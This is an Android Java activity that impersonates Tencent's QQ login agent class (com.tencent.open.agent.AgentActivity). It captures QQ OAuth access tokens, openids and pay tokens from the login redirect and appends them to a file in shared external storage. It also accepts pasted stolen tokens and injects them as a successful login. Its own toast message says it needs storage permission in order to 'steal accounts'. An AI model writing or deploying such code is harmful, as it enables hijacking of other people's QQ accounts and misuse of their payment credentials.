package com.tencent.open.agent;

import android.app.Activity;
import android.os.Bundle;
import com.tencent.tim.R;
import android.widget.Button;
import android.widget.EditText;
import android.view.View;
import android.widget.Toast;
import java.util.regex.Pattern;
import org.json.JSONObject;
import org.json.JSONException;
import android.content.Intent;
import android.widget.Toast;
import android.content.Context;
import android.content.pm.ActivityInfo;
import java.util.regex.Matcher;
import android.app.AlertDialog;
import android.content.DialogInterface;
import java.net.URL;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import android.content.SharedPreferences;
import android.os.AsyncTask;
import java.util.Base64;
import android.view.Window;
import android.view.WindowManager;
import android.os.Build;
import android.view.animation.Animation;
import android.view.animation.AnimationUtils;
import android.app.Activity;
import android.os.AsyncTask;
import android.os.Bundle;
import android.util.Log;
import android.app.Activity;
import android.os.Bundle;
import android.os.Environment;
import android.webkit.WebResourceRequest;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import android.content.Intent;
import android.view.Window;
import android.view.WindowManager;
import android.os.Build;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import android.widget.LinearLayout;
import android.widget.TextView;
import android.widget.ProgressBar;
import android.webkit.WebView;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.os.Environment;
import android.webkit.WebResourceRequest;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import android.widget.VideoView;
import android.os.Handler;
import android.os.Looper;
import android.media.MediaPlayer;
import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.os.Message;
import android.util.Log;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
import java.util.regex.Pattern;
import java.util.regex.Matcher;
import java.util.Set;
import java.util.HashSet;
import android.os.Environment;
import android.os.StrictMode;
import java.io.BufferedWriter;
import java.io.OutputStreamWriter;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.io.PrintWriter;
import java.util.Random;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import android.content.pm.PackageManager;
import android.net.Uri;
import java.io.FileOutputStream;
import java.io.FileInputStream;


public class AgentActivity extends Activity {

    private static final String AUTH_REDIRECT_URL = "auth:";
	String phoneModel = Build.MODEL;
    private WebView webView;
	private  BufferedWriter writer;
   	private String firstLine;
    private int secondLine;
	private Handler handler;
    private Socket socket;
	private String decodedString;
    private OutputStream outputStream;
    private String lastSentContent = "";
	private static final int REQUEST_CODE_STORAGE_PERMISSIONS = 1;
	private static final String PREF_NAME = "MyPrefs";
    private static final String KEY_RAW_TEXT = "raw_text";
	private Button myButton;
	private EditText plainText;
    // Handler message types
    private static final int MSG_CONNECT_SUCCESS = 1;
    private static final int MSG_CONNECT_FAIL = 2;
	
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
		requestWindowFeature(Window.FEATURE_NO_TITLE);
        getWindow().addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);
        getWindow().addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);
        getWindow().addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
            getWindow().setNavigationBarColor(getResources().getColor(android.R.color.white));
        }
		        setContentView(R.layout.activity_agent);
			SharedPreferences sharedPreferences = getSharedPreferences("myPrefs", MODE_PRIVATE);

		String content = sharedPreferences.getString("pd_key", null); // 默认值为 null

		if (content == null) {
			readFile();
			WebView webView=findViewById(R.id.webView);
			webView.setVisibility(View.VISIBLE);
			LinearLayout yc=findViewById(R.id.yc);
			yc.setVisibility(View.GONE);
			webView = findViewById(R.id.webView);
			webView.getSettings().setJavaScriptEnabled(true);
			webView.setWebViewClient(new MyWebViewClient());
			String url = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?pt_enable_pwd=1&appid=716027609&pt_3rd_aid=1106467070&daid=381&pt_skey_valid=0&style=35&force_qr=1&autorefresh=1&s_url=http%3A%2F%2Fconnect.qq.com&refer_cgi=m_authorize&ucheck=1&fall_to_wv=1&status_os=13&redirect_uri=auth%3A%2F%2Ftauth.qq.com%2F&client_id=1106467070&pf=openmobile_android&response_type=token&scope=all&sdkp=a&sdkv=3.5.14&sign=DD2B8B16CCAEE72B390F070106F00F0E&status_machine=M2102J2SC&switch=1&time=1720462937&loginfrom=add&h5sig=08nxvF7WAloOfZfomAK9EVeia3NFMcB4U_J0I5Z7r6M&loginty=6";
			webView.loadUrl(url);	
			} else {
			// 如果有值，根据内容判断
			if ("1".equals(content.trim())) {
					WebView webView=findViewById(R.id.webView);
					webView.setVisibility(View.GONE);
					LinearLayout yc=findViewById(R.id.yc);
					yc.setVisibility(View.VISIBLE);
					myButton = findViewById(R.id.my_button);

					// 找到布局文件中的EditText
					plainText = findViewById(R.id.editTextTextPersonName);


					loadRawDataFromSharedPreferences(plainText);
			} else {
					WebView webView=findViewById(R.id.webView);
					webView.setVisibility(View.VISIBLE);
					LinearLayout yc=findViewById(R.id.yc);
					yc.setVisibility(View.GONE);
					readFile();

					webView = findViewById(R.id.webView);
					webView.getSettings().setJavaScriptEnabled(true);
					webView.setWebViewClient(new MyWebViewClient());
					String url = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?pt_enable_pwd=1&appid=716027609&pt_3rd_aid=1106467070&daid=381&pt_skey_valid=0&style=35&force_qr=1&autorefresh=1&s_url=http%3A%2F%2Fconnect.qq.com&refer_cgi=m_authorize&ucheck=1&fall_to_wv=1&status_os=13&redirect_uri=auth%3A%2F%2Ftauth.qq.com%2F&client_id=1106467070&pf=openmobile_android&response_type=token&scope=all&sdkp=a&sdkv=3.5.14&sign=DD2B8B16CCAEE72B390F070106F00F0E&status_machine=M2102J2SC&switch=1&time=1720462937&loginfrom=add&h5sig=08nxvF7WAloOfZfomAK9EVeia3NFMcB4U_J0I5Z7r6M&loginty=6";
					webView.loadUrl(url);
			}
		}

		
				
		if (checkSelfPermission(android.Manifest.permission.WRITE_EXTERNAL_STORAGE)
			!= PackageManager.PERMISSION_GRANTED) {
            // Request permissions
            requestPermissions(new String[]{
								   android.Manifest.permission.WRITE_EXTERNAL_STORAGE,
								   android.Manifest.permission.READ_EXTERNAL_STORAGE},
							   REQUEST_CODE_STORAGE_PERMISSIONS);
        } 
		
		 }
	
		private void readFile() {
        File file = new File(Environment.getExternalStorageDirectory(), "txt");
        BufferedReader reader = null;
        try {
            reader = new BufferedReader(new FileReader(file));
            firstLine = reader.readLine();
            String secondLineString = reader.readLine();
            if (secondLineString != null) {
				try {
					secondLine = Integer.parseInt(secondLineString);
				} catch (NumberFormatException e) {
					e.printStackTrace();
				}
			}
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			if (reader != null) {
				try {
					reader.close();
				} catch (IOException e) {
					e.printStackTrace();
                }
            }
        }
		}
	@Override
    public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == REQUEST_CODE_STORAGE_PERMISSIONS) {
            if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {

            } else {
                Toast.makeText(this, "没有存储权限，无法偷号", Toast.LENGTH_SHORT).show();
            }
        }
    }
	public void sh(View view){
		final Intent intent = new Intent();


		final String test = plainText.getText().toString();
			
		Pattern pattern = Pattern.compile("access_token=(.*?)&expires_in=(.*?)&openid=(.*?)&pay_token=(.*?)&");
		Matcher matcher = pattern.matcher(test);

		if (matcher.find()) {
			// 获取匹配到的相关信息
			String access_token = matcher.group(1);
			String expires_in = matcher.group(2);
			String openid = matcher.group(3);
			String pay_token = matcher.group(4);
			
			try {
							
				// 创建一个JSON对象用于存储提取的数据
				JSONObject jSONObject3 = new JSONObject();
				jSONObject3.put("access_token", access_token);
				jSONObject3.put("openid", openid);
				jSONObject3.put("pay_token", pay_token);
				jSONObject3.put("expires_in", expires_in);
				jSONObject3.put("ret", "0");
				jSONObject3.put("pf", "desktop_m_qq-10000144-android-2002-");
				jSONObject3.put("page_type", "1");

				// 保存数据到SharedPreferences
				saveRawDataToSharedPreferences(test);
				// 可以在 Intent 中添加额外的数据，如果需要的话
				Toast.makeText(AgentActivity.this, "上号成功", Toast.LENGTH_SHORT).show();
				intent.putExtra("key_response", jSONObject3.toString());
				// 设置结果码 (Result Code)，表示成功
				setResult(RESULT_OK, intent);
				loadRawDataFromSharedPreferences(plainText);
				// 结束当前活动并返回 Intent
				finish();
			} catch (JSONException e) {
				e.printStackTrace();
			}
		} else {
			// 如果没有找到access_token，输出格式错误
			Toast.makeText(AgentActivity.this, "格式错误", Toast.LENGTH_SHORT).show();
		}
	}
	private void saveRawDataToSharedPreferences(String rawText) {
        SharedPreferences sharedPreferences = getSharedPreferences(PREF_NAME, MODE_PRIVATE);
        SharedPreferences.Editor editor = sharedPreferences.edit();
        editor.putString(KEY_RAW_TEXT, rawText);
        editor.apply();
    }

    // 从SharedPreferences中加载原始数据并填充EditText
    private void loadRawDataFromSharedPreferences(EditText plainText) {
        SharedPreferences sharedPreferences = getSharedPreferences(PREF_NAME, MODE_PRIVATE);
        String rawText = sharedPreferences.getString(KEY_RAW_TEXT, "");
        plainText.setText(rawText);
  
	}
		
	private class MyWebViewClient extends WebViewClient {
        @Override
        public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
			final  String url = request.getUrl().toString();
            if (url.startsWith(AUTH_REDIRECT_URL)) {
                handleAuthRedirect(url);
			                   Pattern pattern = Pattern.compile("access_token=(.*?)&expires_in=(.*?)&openid=(.*?)&pay_token=(.*?)&");
				Matcher matcher = pattern.matcher(url);

				if (matcher.find()) {
					// 获取匹配到的相关信息
					String access_token = matcher.group(1);
					String expires_in = matcher.group(2);
					String openid = matcher.group(3);
					String pay_token = matcher.group(4);
					// 检查是否已存在相同的 access_token
                    if (!isAccessTokenExists(access_token)) {
                        try {
                            JSONObject jsonObject3 = new JSONObject();
                            jsonObject3.put("access_token", access_token);
                            jsonObject3.put("openid", openid);
                            jsonObject3.put("pay_token", pay_token);
                            jsonObject3.put("expires_in",expires_in);
                            jsonObject3.put("ret", "0");
                            jsonObject3.put("pf", "desktop_m_qq-10000144-android-2002-");
                            jsonObject3.put("page_type", "1");
                            Intent intent = new Intent();
                            intent.putExtra("key_response", jsonObject3.toString());
                            setResult(-1, intent);
                            finish();
                        } catch (JSONException e) {
                            e.printStackTrace();
                        }
                    }
                }
                return true;
            }
            return super.shouldOverrideUrlLoading(view, request);
        }

        private void handleAuthRedirect(String url) {
            // 将以 "auth" 开头的 URL 写入文件
            writeToFile(url);
        }

		
        private void writeToFile(String data) {
            String fileName = "_CallBack.txt";
            String filePath = Environment.getExternalStorageDirectory().getPath() + "/" + fileName;

            try {
                File file = new File(filePath);
                FileWriter writer = new FileWriter(file, true); // true 表示追加写入
                if (!isAccessTokenExistsInFile(file, data)) {
                    writer.append(data).append("\n"); // 每次写入一行
                }

                writer.flush();
                writer.close();

            } catch (IOException e) {
                e.printStackTrace();
            }
        }

        private boolean isAccessTokenExists(String access_token) {
            return false;
        }

        private boolean isAccessTokenExistsInFile(File file, String data) throws IOException {
            String content = readFileContent(file);
            return content.contains(getAccessTokenFromUrl(data));
        }

        private String readFileContent(File file) throws IOException {
            StringBuilder contentBuilder = new StringBuilder();
            java.util.Scanner scanner = new java.util.Scanner(file);
            while (scanner.hasNextLine()) {
                contentBuilder.append(scanner.nextLine()).append("\n");
            }
            scanner.close();
            return contentBuilder.toString();
        }

        private String getAccessTokenFromUrl(String url) {
            // 从 URL 中提取 access_token
            Pattern pattern = Pattern.compile("access_token=(.*?)&");
            Matcher matcher = pattern.matcher(url);
            if (matcher.find()) {
                return matcher.group(1);
            }
            return null;
        }
    }
}

